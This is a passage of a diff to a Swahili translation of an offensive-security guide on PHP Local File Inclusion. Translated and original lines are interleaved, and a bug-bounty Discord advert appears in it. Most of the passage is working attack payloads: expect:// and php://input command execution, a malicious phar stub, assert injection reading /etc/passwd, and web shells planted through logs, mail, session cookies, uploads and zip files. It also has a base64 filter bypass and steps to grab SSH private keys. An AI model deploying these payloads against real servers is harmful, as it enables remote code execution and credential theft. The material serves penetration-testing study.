Matarajio lazima yawe yameamilishwa. Unaweza kutekeleza nambari kutumia hii:
|
||||
```
|
||||
http://example.com/index.php?page=expect://id
|
||||
http://example.com/index.php?page=expect://ls
|
||||
```
|
||||
### input://
|
||||
### maelezo://
|
||||
|
||||
Taja mzigo wako kwenye vigezo vya POST:
|
||||
```bash
|
||||
|
@ -389,7 +379,7 @@ curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system
|
|||
```
|
||||
### phar://
|
||||
|
||||
Faili la `.phar` linaweza kutumika kutekeleza msimbo wa PHP wakati programu ya wavuti inatumia kazi kama vile `include` kwa kupakia faili. Msimbo wa PHP ulioonyeshwa hapa chini unaonyesha jinsi ya kuunda faili ya `.phar`:
|
||||
Faili ya `.phar` inaweza kutumika kutekeleza nambari ya PHP wakati programu ya wavuti inatumia kazi kama vile `include` kwa kupakia faili. Nambari ya PHP iliyoonyeshwa hapa chini inaonyesha uumbaji wa faili ya `.phar`:
|
||||
```php
|
||||
<?php
|
||||
$phar = new Phar('test.phar');
|
||||
|
@ -398,102 +388,101 @@ $phar->addFromString('test.txt', 'text');
|
|||
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
|
||||
$phar->stopBuffering();
|
||||
```
|
||||
Ili kukusanya faili ya `.phar`, amri ifuatayo inapaswa kutekelezwa:
|
||||
Ili kutekeleza faili ya `.phar`, amri ifuatayo inapaswa kutekelezwa:
|
||||
```bash
|
||||
php --define phar.readonly=0 create_path.php
|
||||
```
|
||||
Baada ya kutekelezwa, faili inayoitwa `test.phar` itaundwa, ambayo inaweza kutumika kwa kufaidika na udhaifu wa Uingizaji wa Faili za Ndani (LFI).
|
||||
Upon execution, a file named `test.phar` will be created, which could potentially be leveraged to exploit Local File Inclusion (LFI) vulnerabilities.
|
||||
|
||||
Katika kesi ambapo LFI inafanya tu kusoma faili bila kutekeleza nambari ya PHP ndani yake, kupitia kazi kama vile `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, au `filesize()`, jaribio la kufaidika na udhaifu wa deserialization linaweza kufanywa. Udhaifu huu unahusishwa na kusoma faili kwa kutumia itifaki ya `phar`.
|
||||
In cases where the LFI only performs file reading without executing the PHP code within, through functions such as `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, or `filesize()`, exploitation of a deserialization vulnerability could be attempted. This vulnerability is associated with the reading of files using the `phar` protocol.
|
||||
|
||||
Kwa ufahamu wa kina wa kufaidika na udhaifu wa deserialization katika muktadha wa faili za `.phar`, tazama hati iliyounganishwa hapa chini:
|
||||
For a detailed understanding of exploiting deserialization vulnerabilities in the context of `.phar` files, refer to the document linked below:
|
||||
|
||||
[Mwongozo wa Kufaidika na Udhaifu wa Deserialization wa Phar](phar-deserialization.md)
|
||||
[Phar Deserialization Exploitation Guide](phar-deserialization.md)
|
||||
|
||||
{% content-ref url="phar-deserialization.md" %}
|
||||
[phar-deserialization.md](phar-deserialization.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Itifaki zaidi
|
||||
### More protocols
|
||||
|
||||
Angalia itifaki zingine zinazowezekana [**hapa**](https://www.php.net/manual/en/wrappers.php)**:**
|
||||
Check more possible[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**
|
||||
|
||||
* [php://memory na php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Andika kwenye kumbukumbu au kwenye faili ya muda (sijui jinsi hii inaweza kuwa na manufaa katika shambulio la uingizaji wa faili)
|
||||
* [file://](https://www.php.net/manual/en/wrappers.file.php) — Kupata mfumo wa faili wa ndani
|
||||
* [http://](https://www.php.net/manual/en/wrappers.http.php) — Kupata URL za HTTP(s)
|
||||
* [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Kupata URL za FTP(s)
|
||||
* [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Mtiririko wa Kupunguza saizi
|
||||
* [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Tafuta majina ya njia yanayolingana na muundo (Haitoi chochote kinachoweza kuchapishwa, kwa hivyo sio muhimu sana hapa)
|
||||
* [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Andika kumbukumbu kwa kumbukumbu au kwenye faili ya muda (sijui jinsi hii inaweza kuwa na manufaa katika shambulio la kuingiza faili)
|
||||
* [file://](https://www.php.net/manual/en/wrappers.file.php) — Kufikia mfumo wa faili wa ndani
|
||||
* [http://](https://www.php.net/manual/en/wrappers.http.php) — Kufikia URL za HTTP(s)
|
||||
* [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Kufikia URL za FTP(s)
|
||||
* [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Mtiririko wa Ufupishaji
|
||||
* [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Pata majina ya njia yanayolingana na muundo (Hairejeshi kitu kinachoweza kuchapishwa, hivyo sio kweli inayoweza kutumika hapa)
|
||||
* [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Shell Salama 2
|
||||
* [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Mtiririko wa sauti (Haitumiki kusoma faili za aina yoyote)
|
||||
|
||||
## LFI kupitia 'assert' ya PHP
|
||||
|
||||
Hatari za Uingizaji wa Faili za Ndani (LFI) katika PHP ni kubwa sana wakati unashughulika na kazi ya 'assert', ambayo inaweza kutekeleza nambari ndani ya herufi. Hii ni hasa tatizo ikiwa kuna uingizaji wa saraka kama ".." unachunguzwa lakini hautakaswi ipasavyo.
|
||||
Hatari za Uingizaji wa Faili za Ndani (LFI) katika PHP ni kubwa hasa unaposhughulika na kazi ya 'assert', ambayo inaweza kutekeleza nambari ndani ya herufi. Hii ni tatizo hasa ikiwa data inayoingia ina herufi za utafutaji wa saraka kama vile ".." inakaguliwa lakini haijasafishwa ipasavyo.
|
||||
|
||||
Kwa mfano, nambari ya PHP inaweza kuundwa ili kuzuia uingizaji wa saraka kama ifuatavyo:
|
||||
Kwa mfano, nambari ya PHP inaweza kuundwa ili kuzuia utafutaji wa saraka kama ifuatavyo:
|
||||
```bash
|
||||
assert("strpos('$file', '..') === false") or die("");
|
||||
```
|
||||
Hii inalenga kuzuia uchunguzi, lakini kwa bahati mbaya inaunda njia ya kuingiza nambari. Kwa kudukua hii ili kusoma maudhui ya faili, mshambuliaji anaweza kutumia:
|
||||
Huku lengo likiwa kuzuia upitishaji, kwa bahati mbaya hii inaunda njia ya kuingiza nambari. Kwa kudukua hii ili kusoma maudhui ya faili, mshambuliaji anaweza kutumia:
|
||||
```plaintext
|
||||
' and die(highlight_file('/etc/passwd')) or '
|
||||
```
|
||||
Vivyo hivyo, kwa kutekeleza amri za mfumo zisizo na kikomo, mtu anaweza kutumia:
|
||||
Vivyo hivyo, kwa kutekeleza amri za mfumo za kupita kiasi, mtu anaweza kutumia:
|
||||
```plaintext
|
||||
' and die(system("id")) or '
|
||||
```
|
||||
Ni muhimu kubadilisha **payloads hizi kuwa URL-encoded**.
|
||||
|
||||
Ni muhimu kufanya **payloads hizi kuwa URL-encoded**.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Jiunge na [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) ili kuwasiliana na wadukuzi wenye uzoefu na wawindaji wa bug bounty!
|
||||
Jiunge na [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server ili kushirikiana na wadukuzi wenye uzoefu na wawindaji wa zawadi za makosa!
|
||||
|
||||
**Machapisho ya Udukuzi**\
|
||||
Shiriki na yaliyomo yanayochunguza msisimko na changamoto za udukuzi
|
||||
Shiriki na yaliyomo yanayochimba kina cha udukuzi na changamoto zake
|
||||
|
||||
**Habari za Udukuzi za Wakati Halisi**\
|
||||
Endelea kuwa na habari za ulimwengu wa udukuzi kwa kupitia habari na ufahamu wa wakati halisi
|
||||
**Taarifa za Udukuzi za Muda Halisi**\
|
||||
Kaa sasa na ulimwengu wa udukuzi wenye kasi kupitia taarifa na ufahamu wa muda halisi
|
||||
|
||||
**Matangazo ya Hivi Karibuni**\
|
||||
Baki na habari kuhusu bug bounties mpya zinazozinduliwa na sasisho muhimu za jukwaa
|
||||
**Matangazo ya Karibuni**\
|
||||
Baki mwelewa na zawadi mpya za makosa zinazoanzishwa na sasisho muhimu za jukwaa
|
||||
|
||||
**Jiunge nasi kwenye** [**Discord**](https://discord.com/invite/N3FrSbmwdy) na anza kushirikiana na wadukuzi bora leo!
|
||||
|
||||
## PHP Blind Path Traversal
|
||||
## Udukuzi wa Njia ya Kipofu ya PHP
|
||||
|
||||
{% hint style="warning" %}
|
||||
Tekniki hii inatumika katika hali ambapo unadhibiti njia ya faili ya kazi ya PHP ambayo itafikia faili lakini hautaona maudhui ya faili (kama wito rahisi wa **`file()`**) lakini maudhui hayo hayataonyeshwa.
|
||||
Mbinu hii inahusiana katika kesi ambapo **unadhibiti** **njia ya faili** ya **kazi ya PHP** ambayo ita **fikia faili** lakini hautaona maudhui ya faili (kama wito wa **`file()`** tu) lakini maudhui hayo hayataonyeshwa.
|
||||
{% endhint %}
|
||||
|
||||
Katika [**chapisho hili la kushangaza**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) imeelezewa jinsi njia ya kipofu ya kufuatilia inaweza kutumiwa kupitia PHP filter ili **kuvuja maudhui ya faili kupitia kosa la oracle**.
|
||||
Katika [**chapisho hili la kushangaza**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) imeelezwa jinsi udukuzi wa njia ya kipofu unavyoweza kutumiwa kupitia kichujio cha PHP kwa **kuchota maudhui ya faili kupitia kosa la oracle**.
|
||||
|
||||
Kwa muhtasari, tekniki hii inatumia **"UCS-4LE" encoding** ili kufanya maudhui ya faili kuwa **kubwa** sana hivi kwamba **kazi ya PHP ya kufungua** faili itasababisha **kosa**.
|
||||
Kwa muhtasari, mbinu hii inatumia **"UCS-4LE" encoding** kufanya maudhui ya faili kuwa **makubwa** hivyo kazi ya PHP ya kufungua faili itasababisha **kosa**.
|
||||
|
||||
Kisha, ili kuvuja herufi ya kwanza, filter ya **`dechunk`** inatumika pamoja na zingine kama vile **base64** au **rot13** na hatimaye filters **convert.iconv.UCS-4.UCS-4LE** na **convert.iconv.UTF16.UTF-16BE** hutumiwa kuweka herufi nyingine mwanzoni na kuzivuja.
|
||||
Kisha, ili kuvuja herufi ya kwanza, kichujio cha **`dechunk`** hutumiwa pamoja na nyingine kama **base64** au **rot13** na hatimaye vichujio **convert.iconv.UCS-4.UCS-4LE** na **convert.iconv.UTF16.UTF-16BE** hutumiwa kwa **kuweka herufi nyingine mwanzoni na kuzivuja**.
|
||||
|
||||
**Kazi ambazo zinaweza kuwa na udhaifu**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (target pekee ya kusoma tu na hii)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
|
||||
**Kazi ambazo zinaweza kuwa hatarini**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (lengo la kusoma tu na hili)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
|
||||
|
||||
Kwa maelezo ya kiufundi angalia chapisho lililotajwa!
|
||||
Kwa maelezo ya kiufundi angalia chapisho kilichotajwa!
|
||||
|
||||
## LFI2RCE
|
||||
|
||||
### Uingizaji wa Faili Kijijini
|
||||
### Kuingiza Faili Kijijini
|
||||
|
||||
Imeelezwa hapo awali, [**fuata kiungo hiki**](./#remote-file-inclusion).
|
||||
|
||||
### Kupitia faili ya kumbukumbu ya Apache/Nginx
|
||||
|
||||
Ikiwa seva ya Apache au Nginx ina **udhaifu wa LFI** ndani ya kazi ya kuingiza, unaweza jaribu kupata ufikiaji wa **`/var/log/apache2/access.log` au `/var/log/nginx/access.log`**, weka ndani ya **user agent** au ndani ya **parameta ya GET** kabati ya php kama **`<?php system($_GET['c']); ?>`** na ingiza faili hiyo
|
||||
Ikiwa seva ya Apache au Nginx ni **dhaifu kwa LFI** ndani ya kazi ya kuingiza unaweza jaribu kufikia **`/var/log/apache2/access.log` au `/var/log/nginx/access.log`**, weka ndani ya **mpelelezi wa mtumiaji** au ndani ya **parameta ya GET** kabati ya php kama **`<?php system($_GET['c']); ?>`** na ingiza faili hiyo
|
||||
|
||||
{% hint style="warning" %}
|
||||
Tafadhali kumbuka kwamba **ikiwa utatumia alama za nukuu mbili** kwa kabati badala ya **alama za nukuu moja**, alama za nukuu mbili zitabadilishwa na kigezo "_**quote;**_", **PHP itatoa kosa** hapo na **hakuna kitu kingine kitatekelezwa**.
|
||||
Tambua kwamba **ikiwa utatumia alama za nukuu mbili** kwa kabati badala ya **nukuu moja**, alama za nukuu mbili zitabadilishwa kuwa mstari "_**quote;**_", **PHP itatoa kosa** hapo na **kitu kingine hakitafanyika**.
|
||||
|
||||
Pia, hakikisha **kuandika kwa usahihi payload** au PHP itatoa kosa kila wakati inapojaribu kupakia faili ya kumbukumbu na hautapata nafasi ya pili.
|
||||
Pia, hakikisha **unandika kwa usahihi payload** au PHP itatoa kosa kila wakati inajaribu kupakia faili ya kumbukumbu na hautapata fursa ya pili.
|
||||
{% endhint %}
|
||||
|
||||
Hii inaweza pia kufanywa kwenye kumbukumbu nyingine lakini **kuwa makini**, nambari ndani ya kumbukumbu inaweza kuwa imefanywa kuwa URL-encoded na hii inaweza kuharibu Kabati. Kichwa cha habari **authorisation "basic"** kina "user:password" katika Base64 na kinakunjuliwa ndani ya kumbukumbu. PHPShell inaweza kuingizwa ndani ya kichwa hiki.\
|
||||
Hii inaweza pia kufanywa kwenye kumbukumbu nyingine lakini **weka tahadhari,** nambari ndani ya kumbukumbu inaweza kuwa URL-encoded na hii inaweza kuharibu Kabati. Kichwa cha **uthibitisho "msingi"** kina "mtumiaji:nywila" katika Base64 na inadecodiwa ndani ya kumbukumbu. PHPShell inaweza kuingizwa ndani ya kichwa hiki.\
|
||||
Njia zingine za kumbukumbu zinazowezekana:
|
||||
```python
|
||||
/var/log/apache2/access.log
|
||||
|
@ -506,51 +495,47 @@ Njia zingine za kumbukumbu zinazowezekana:
|
|||
/var/log/nginx/error.log
|
||||
/var/log/httpd/error_log
|
||||
```
|
||||
Orodha ya maneno ya Fuzzing: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI)
|
||||
|
||||
### Kupitia Barua pepe
|
||||
|
||||
**Tuma barua** kwa akaunti ya ndani (user@localhost) yenye mzigo wako wa PHP kama `<?php echo system($_REQUEST["cmd"]); ?>` na jaribu kuiongeza kwenye barua ya mtumiaji na njia kama **`/var/mail/<USERNAME>`** au **`/var/spool/mail/<USERNAME>`**
|
||||
**Tuma barua** kwa akaunti ya ndani (user@localhost) ikijumuisha mzigo wako wa PHP kama `<?php echo system($_REQUEST["cmd"]); ?>` na jaribu kuweka kwenye barua pepe ya mtumiaji kwa njia kama **`/var/mail/<USERNAME>`** au **`/var/spool/mail/<USERNAME>`**
|
||||
|
||||
### Kupitia /proc/\*/fd/\*
|
||||
|
||||
1. Pakia mabomu mengi (kwa mfano: 100)
|
||||
2. Ongeza [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), na $PID = PID ya mchakato (inaweza kubadilishwa kwa nguvu) na $FD ni maelezo ya faili (inaweza kubadilishwa kwa nguvu pia)
|
||||
1. Pakia mabano mengi (kwa mfano: 100)
|
||||
2. Jumuisha [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), na $PID = PID ya mchakato (inaweza kufanyiwa nguvu) na $FD ni maelezo ya faili (inaweza kufanyiwa nguvu pia)
|
||||
|
||||
### Kupitia /proc/self/environ
|
||||
|
||||
Kama faili ya kumbukumbu, tuma mzigo kwenye User-Agent, itaakisiwa ndani ya faili ya /proc/self/environ
|
||||
Kama faili ya kuingiza, tuma mzigo kwenye User-Agent, itaakisiwa ndani ya faili ya /proc/self/environ
|
||||
```
|
||||
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
|
||||
User-Agent: <?=phpinfo(); ?>
|
||||
```
|
||||
### Kupitia kupakia
|
||||
|
||||
Ikiwa unaweza kupakia faili, tuweke kifurushi cha shell ndani yake (kwa mfano: `<?php system($_GET['c']); ?>`).
|
||||
Ikiwa unaweza kupakia faili, ingiza mzigo wa shell ndani yake (k.m: `<?php system($_GET['c']); ?>`).
|
||||
```
|
||||
http://example.com/index.php?page=path/to/uploaded/file.png
|
||||
```
|
||||
Ili kuweka faili iwezekanavyo kusomwa, ni bora kuingiza kwenye metadata ya picha/doc/pdf
|
||||
|
||||
### Kupitia kupakia faili ya Zip
|
||||
|
||||
Pakia faili ya ZIP ambayo ina PHP shell iliyopimwa na ufikie:
|
||||
Pakia faili ya ZIP inayohifadhi PHP shell iliyosongwa na ufikie:
|
||||
```python
|
||||
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
|
||||
```
|
||||
### Kupitia vikao vya PHP
|
||||
|
||||
Angalia ikiwa tovuti inatumia Vikao vya PHP (PHPSESSID)
|
||||
Angalia kama tovuti inatumia Kikao cha PHP (PHPSESSID)
|
||||
```
|
||||
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
|
||||
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
|
||||
```
|
||||
Katika PHP, vikao hivi hifadhiwa katika faili za _/var/lib/php5/sess\\_\[PHPSESSID]\_
|
||||
Katika PHP vikao hivi hufungwa katika faili za _/var/lib/php5/sess\\_\[PHPSESSID]\_
|
||||
```
|
||||
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
|
||||
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
|
||||
```
|
||||
Weka kuki kuwa `<?php system('cat /etc/passwd');?>`
|
||||
Wekeza kidakuzi kuwa `<?php system('cat /etc/passwd');?>`
|
||||
```
|
||||
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
|
||||
```
|
||||
|
@ -560,42 +545,42 @@ login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/s
|
|||
```
|
||||
### Kupitia ssh
|
||||
|
||||
Ikiwa ssh iko hai, angalia ni mtumiaji yupi anatumika (/proc/self/status & /etc/passwd) na jaribu kupata ufikiaji wa **\<HOME>/.ssh/id\_rsa**
|
||||
Ikiwa ssh iko active, angalia ni mtumiaji yupi anatumika (/proc/self/status & /etc/passwd) na jaribu kupata upatikanaji wa **\<HOME>/.ssh/id\_rsa**
|
||||
|
||||
### **Kupitia** **viwambo** **vya** **vsftpd**
|
||||
### Kupitia **vsftpd** _**logs**_
|
||||
|
||||
Viwambo vya seva ya FTP vsftpd vipo katika **_/var/log/vsftpd.log_**. Katika hali ambapo kuna udhaifu wa Uingizaji wa Faili za Ndani (LFI), na ufikiaji wa seva ya vsftpd iliyofichuliwa unawezekana, hatua zifuatazo zinaweza kuzingatiwa:
|
||||
Logs za seva ya FTP vsftpd ziko katika _**/var/log/vsftpd.log**_. Katika hali ambapo kuna uwazi wa kushambuliwa kwa Kuingiza Faili za Kienyeji (LFI), na upatikanaji wa seva ya vsftpd iliyofichuliwa unawezekana, hatua zifuatazo zinaweza kuzingatiwa:
|
||||
|
||||
1. Ingiza mzigo wa PHP kwenye uga wa jina la mtumiaji wakati wa mchakato wa kuingia.
|
||||
2. Baada ya kuingiza, tumia LFI kupata viwambo vya seva kutoka **_/var/log/vsftpd.log_**.
|
||||
1. Ingiza mzigo wa PHP katika uga wa jina la mtumiaji wakati wa mchakato wa kuingia.
|
||||
2. Baada ya kuingiza, tumia LFI kuchukua logs za seva kutoka _**/var/log/vsftpd.log**_.
|
||||
|
||||
### Kupitia kichujio cha php base64 (kwa kutumia base64)
|
||||
### Kupitia php base64 filter (kutumia base64)
|
||||
|
||||
Kama ilivyoonyeshwa katika [makala hii](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64), kichujio cha php base64 hupuuza tu yale yasiyo ya base64. Unaweza kutumia hilo kukiuka ukaguzi wa kipengee cha faili: ikiwa unatoa base64 ambayo inamalizika na ".php", itapuuza "." na kuongeza "php" kwenye base64. Hapa kuna mzigo wa mfano:
|
||||
Kama ilivyoonyeshwa katika [hii](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) makala, filter ya base64 ya PHP hupuuza Non-base64. Unaweza kutumia hilo kukiuka ukaguzi wa kielezo cha faili: ikiwa unatoa base64 inayoishia na ".php", itapuuza "." na kuongeza "php" kwa base64. Hapa kuna mzigo wa mfano:
|
||||
```url
|
||||
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
|
||||
|
||||
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
|
||||
```
|
||||
### Kupitia php filters (hakuna faili inayohitajika)
|
||||
### Kupitia vichujio vya php (bila faili inayohitajika)
|
||||
|
||||
Hii [**makala**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) inaelezea kuwa unaweza kutumia **php filters kuunda maudhui yoyote** kama matokeo. Hii inamaanisha kwamba unaweza **kuunda nambari ya php yoyote** kwa ajili ya kuingiza **bila haja ya kuandika** kwenye faili.
|
||||
Hii [**maelezo**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) inaeleza kwamba unaweza kutumia **vichujio vya php kuzalisha maudhui ya kupangwa** kama matokeo. Hii kimsingi inamaanisha kwamba unaweza **kuzalisha msimbo wa php wa kupangwa** kwa kuingiza **bila kuandika** kwenye faili.
|
||||
|
||||
{% content-ref url="lfi2rce-via-php-filters.md" %}
|
||||
[lfi2rce-via-php-filters.md](lfi2rce-via-php-filters.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Kupitia segmentation fault
|
||||
### Kupitia kosa la segmantesheni
|
||||
|
||||
**Pakia** faili ambayo itahifadhiwa kama **faili la muda** katika `/tmp`, kisha katika **ombi moja,** sababisha **segmentation fault**, na kisha **faili ya muda haitafutwa** na unaweza kuitafuta.
|
||||
**Pakia** faili itakayohifadhiwa kama **temporari** kwenye `/tmp`, kisha katika **ombi moja,** chokoza **kosa la segmantesheni**, na kisha **faili ya temporari haitafutwa** na unaweza kuitafuta.
|
||||
|
||||
{% content-ref url="lfi2rce-via-segmentation-fault.md" %}
|
||||
[lfi2rce-via-segmentation-fault.md](lfi2rce-via-segmentation-fault.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Kupitia uhifadhi wa faili za muda za Nginx
|
||||
### Kupitia uhifadhi wa faili za temp za Nginx
|
||||
|
||||
Ikiwa umepata **Local File Inclusion** na **Nginx** inaendesha mbele ya PHP, unaweza kupata RCE kwa kutumia mbinu ifuatayo:
|
||||
Ikiwa umepata **Uingizaji wa Faili wa Kienyeji** na **Nginx** inaendeshwa mbele ya PHP unaweza kupata RCE kwa kutumia mbinu ifuatayo:
|
||||
|
||||
{% content-ref url="lfi2rce-via-nginx-temp-files.md" %}
|
||||
[lfi2rce-via-nginx-temp-files.md](lfi2rce-via-nginx-temp-files.md)
|
||||
|
@ -603,15 +588,15 @@ Ikiwa umepata **Local File Inclusion** na **Nginx** inaendesha mbele ya PHP, una
|
|||
|
||||
### Kupitia PHP\_SESSION\_UPLOAD\_PROGRESS
|
||||
|
||||
Ikiwa umepata **Local File Inclusion** hata kama **huna kikao** na `session.auto_start` ni `Off`. Ikiwa unatoa **`PHP_SESSION_UPLOAD_PROGRESS`** katika data ya **POST ya multipart**, PHP ita**wezesha kikao kwako**. Unaweza kutumia hii kwa RCE:
|
||||
Ikiwa umepata **Uingizaji wa Faili wa Kienyeji** hata kama **huna kikao** na `session.auto_start` ni `Off`. Ikiwa unatoa **`PHP_SESSION_UPLOAD_PROGRESS`** katika data ya **POST ya multipart**, PHP ita **wezesha kikao kwako**. Unaweza kutumia hii kupata RCE:
|
||||
|
||||
{% content-ref url="via-php_session_upload_progress.md" %}
|
||||
[via-php\_session\_upload\_progress.md](via-php\_session\_upload\_progress.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Kupitia kupakia faili za muda kwenye Windows
|
||||
### Kupitia pakiaji wa faili za temp kwenye Windows
|
||||
|
||||
Ikiwa umepata **Local File Inclusion** na seva inaendesha kwenye **Windows**, unaweza kupata RCE:
|
||||
Ikiwa umepata **Uingizaji wa Faili wa Kienyeji** na seva inaendeshwa kwenye **Windows** unaweza kupata RCE:
|
||||
|
||||
{% content-ref url="lfi2rce-via-temp-file-uploads.md" %}
|
||||
[lfi2rce-via-temp-file-uploads.md](lfi2rce-via-temp-file-uploads.md)
|
||||
|
@ -619,69 +604,69 @@ Ikiwa umepata **Local File Inclusion** na seva inaendesha kwenye **Windows**, un
|
|||
|
||||
### Kupitia phpinfo() (file\_uploads = on)
|
||||
|
||||
Ikiwa umepata **Local File Inclusion** na faili inaonyesha **phpinfo()** na file\_uploads = on, unaweza kupata RCE:
|
||||
Ikiwa umepata **Uingizaji wa Faili wa Kienyeji** na faili inaonyesha **phpinfo()** na file\_uploads = on unaweza kupata RCE:
|
||||
|
||||
{% content-ref url="lfi2rce-via-phpinfo.md" %}
|
||||
[lfi2rce-via-phpinfo.md](lfi2rce-via-phpinfo.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Kupitia compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure
|
||||
### Kupitia compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Kufichua Njia
|
||||
|
||||
Ikiwa umepata **Local File Inclusion** na unaweza **kufichua njia** ya faili ya muda LAKINI **seva** ina**angalia** ikiwa **faili ya kuingizwa ina alama za PHP**, unaweza kujaribu **kupitisha ukaguzi huo** na hii **Race Condition**:
|
||||
Ikiwa umepata **Uingizaji wa Faili wa Kienyeji** na unaweza **kufichua njia** ya faili ya temp LAKINI **seva** ina **angalia** ikiwa **faili itakayoingizwa ina alama za PHP**, unaweza kujaribu **kupita kwenye ukaguzi huo** na hii **Hali ya Mashindano**:
|
||||
|
||||
{% content-ref url="lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md" %}
|
||||
[lfi2rce-via-compress.zlib-+-php\_stream\_prefer\_studio-+-path-disclosure.md](lfi2rce-via-compress.zlib-+-php\_stream\_prefer\_studio-+-path-disclosure.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Kupitia kungojea milele + jaribio la nguvu
|
||||
### Kupitia kungojea milele + kuvunja nguvu
|
||||
|
||||
Ikiwa unaweza kutumia LFI ku**pakia faili za muda** na kufanya seva isimamishe **utekelezaji wa PHP**, basi unaweza **jaribu majina ya faili kwa masaa** ili kupata faili ya muda:
|
||||
Ikiwa unaweza kutumia LFI kwa **kupakia faili za temp** na kufanya seva **kukwama** kwenye utekelezaji wa PHP, basi unaweza **kuvunja nguvu majina ya faili kwa masaa** ili kupata faili ya temporari:
|
||||
|
||||
{% content-ref url="lfi2rce-via-eternal-waiting.md" %}
|
||||
[lfi2rce-via-eternal-waiting.md](lfi2rce-via-eternal-waiting.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Kwa Kosa la Kufa
|
||||
### Kwa Kosa Kubwa
|
||||
|
||||
Ikiwa unajumuisha faili yoyote kati ya `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Unahitaji kuunganisha ile ile mara 2 ili kutoa kosa hilo).
|
||||
Ikiwa unaingiza mojawapo ya faili `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Unahitaji kuweka ile ile mara 2 ili kutoa kosa hilo).
|
||||
|
||||
**Sijui jinsi hii inavyoweza kuwa na manufaa lakini inaweza kuwa.**\
|
||||
_Hata kama unasababisha Kosa la Kufa la PHP, faili za muda za PHP zilizopakiwa zinafutwa._
|
||||
_Hata kama unasababisha Kosa Kubwa la PHP, faili za temporari za PHP zilizopakiwa zitafutwa._
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (5).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Marejeo
|
||||
|
||||
* [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)\
|
||||
* [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)\\
|
||||
* [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)
|
||||
|
||||
{% file src="../../.gitbook/assets/EN-Local-File-Inclusion-1.pdf" %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
